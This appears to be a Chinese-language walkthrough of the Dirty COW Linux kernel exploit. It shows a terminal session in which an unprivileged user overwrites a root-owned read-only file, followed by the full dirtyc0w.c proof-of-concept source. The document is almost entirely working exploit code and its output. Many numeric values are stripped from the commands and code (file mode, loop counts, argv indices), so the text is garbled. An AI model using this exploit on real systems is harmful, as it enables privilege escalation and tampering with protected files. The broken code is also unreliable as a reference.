[root@localhost tmp]# echo test123 > test.txt

[root@localhost tmp]# chmod  test.txt

[root@localhost tmp]# ls -lash test.txt

.0K -r-----r--.  root root  10月  : test.txt

[root@localhost tmp]# vim dirtyc0w.c

[root@localhost tmp]# cat test.txt

test123

[root@localhost tmp]# gcc -lpthread dirtyc0w.c -o dirtyc0w

[root@localhost tmp]# su - pentest

上一次登录：一 10月  :: CST : 上

最后一次失败的登录：一 10月  :: CST 2016从 :: 上

最有一次成功登录后有  次失败的登录尝试。

[pentest@localhost ~]$ cd /tmp/

[pentest@localhost tmp]$ ls -l

总用量

-rwxr-xr-x.  root root  10月  : dirtyc0w

-rw-r--r--.  root root   10月  : dirtyc0w.c

-r-----r--.  root root      10月  : test.txt

[pentest@localhost tmp]$ ./dirtyc0w test.txt 123test

mmap 7f2075a07000

madvise 

procselfmem 

[pentest@localhost tmp]$ cat test.txt

123test

[pentest@localhost tmp]$ 

/*

####################### dirtyc0w.c #######################

$ sudo -s

# echo this is not a test > foo

# chmod 0404 foo

$ ls -lah foo

-r-----r-- 1 root root 19 Oct 20 15:23 foo

$ cat foo

this is not a test

$ gcc -pthread dirtyc0w.c -o dirtyc0w

$ ./dirtyc0w foo m00000000000000000

mmap 56123000

madvise 0

procselfmem 1800000000

$ cat foo

m00000000000000000

####################### dirtyc0w.c #######################

*/

#include <stdio.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <pthread.h>

#include <unistd.h>

#include <sys/stat.h>

#include <string.h>

#include <stdint.h>

void *map;

int f;

struct stat st;

char *name;

void *madviseThread(void *arg)

{

  char *str;

  str=(char*)arg;

  int i,c=;

  for(i=;i<;i++)

  {

/*

You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661

> This is achieved by racing the madvise(MADV_DONTNEED) system call

> while having the page of the executable mmapped in memory.

*/

    c+=madvise(map,,MADV_DONTNEED);

  }

  printf("madvise %d\n\n",c);

}

void *procselfmemThread(void *arg)

{

  char *str;

  str=(char*)arg;

/*

You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

>  The in the wild exploit we are aware of doesn't work on Red Hat

>  Enterprise Linux 5 and 6 out of the box because on one side of

>  the race it writes to /proc/self/mem, but /proc/self/mem is not

>  writable on Red Hat Enterprise Linux 5 and 6.

*/

  int f=open("/proc/self/mem",O_RDWR);

  int i,c=;

  for(i=;i<;i++) {

/*

You have to reset the file pointer to the memory position.

*/

    lseek(f,(uintptr_t) map,SEEK_SET);

    c+=write(f,str,strlen(str));

  }

  printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])

{

/*

You have to pass two arguments. File and Contents.

*/

  if (argc<) {

  (void)fprintf(stderr, "%s\n",

      "usage: dirtyc0w target_file new_content");

  return ; }

  pthread_t pth1,pth2;

/*

You have to open the file in read only mode.

*/

  f=open(argv[],O_RDONLY);

  fstat(f,&st);

  name=argv[];

/*

You have to use MAP_PRIVATE for copy-on-write mapping.

> Create a private copy-on-write mapping.  Updates to the

> mapping are not visible to other processes mapping the same

> file, and are not carried through to the underlying file.  It

> is unspecified whether changes made to the file after the

> mmap() call are visible in the mapped region.

*/

/*

You have to open with PROT_READ.

*/

  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,);

  printf("mmap %zx\n\n",(uintptr_t) map);

/*

You have to do it on two threads.

*/

  pthread_create(&pth1,NULL,madviseThread,argv[]);

  pthread_create(&pth2,NULL,procselfmemThread,argv[]);

/*

You have to wait for the threads to finish.

*/

  pthread_join(pth1,NULL);

  pthread_join(pth2,NULL);

  return ;

}